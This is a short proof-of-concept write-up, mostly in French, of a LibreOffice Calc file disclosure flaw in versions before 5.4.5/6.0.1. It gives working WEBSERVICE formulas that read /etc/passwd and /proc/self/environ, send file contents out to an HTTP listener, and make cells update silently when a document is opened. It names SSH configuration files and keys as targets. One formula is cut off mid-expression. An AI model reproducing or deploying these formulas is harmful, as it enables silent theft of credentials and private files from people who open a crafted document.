
Proof of concept of LibreOffice remote arbitrary file disclosure vulnerability
LibreOffice prend en charge la fonction COM.MICROSOFT.WEBSERVICE :
https://support.office.com/en-us/article/webservice-function-0546a35a-ecc6-4739-aed7-c0b7ce1562c4
Cette fonction est nécessaire pour obtenir des données par URL, généralement utilisée comme :
=FILTERXML(WEBSERVICE("http://api.openweathermap.org/data/2.5/forecast?q=Copenhagen,dk&mode=xml&units=metric");"number(/weatherdata/forecast/time[2]/temperature/@value)")
À l'origine :
Pour les protocoles non pris en charge, tels que ftp: // ou file: //, WEBSERVICE renvoie la valeur d'erreur #VALUE!.
Dans LibreOffice, ces restrictions ne sont pas implémentées avant les versions 5.4.5/6.0.1.
Par défaut, les cellules ne sont pas mises à jour, mais si vous spécifiez le type de cellule comme ~error, alors la cellule sera mise à jour à l'ouverture du document.
Pour lire un fichier, il suffit de :
=WEBSERVICE("/etc/passwd")
Cette fonction peut également être utilisée pour envoyer un fichier :
=WEBSERVICE("http://localhost:6000/?q=" & WEBSERVICE("/etc/passwd"))
Pour que l'opération réussisse, vous devez envoyer les fichiers de l'utilisateur actuel, vous devez donc récupérer le chemin du répertoire personnel de l'utilisateur actuel.
=MID(WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")) + 5, SEARCH(CHAR(0), WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")))-FIND("USER=",
Vous pouvez également analyser d'autres fichiers, comme ~/.ssh/config ou quelque chose de similaire.
Pour les formats autres que LibreOffice Calc, il suffit d'intégrer un objet Calc dans un autre document (j'ai vérifié que cela fonctionne).
Il est facile d'envoyer n'importe quels fichiers contenant des clés, des mots de passe et tout le reste. Taux de réussite de 100 %, absolument silencieux, affecte LibreOffice antérieur aux versions 5.4.5/6.0.1 sur tous les systèmes d'exploitation (GNU/Linux, MS Windows, macOS, etc.) et peut être intégré dans presque tous les formats pris en charge par LO.
La vulnérabilité a été découverte indépendamment par moi (@jollheef) et Ronnie Goodrich && Andrew Krasichkov (selon les notes de l'équipe LibreOffice).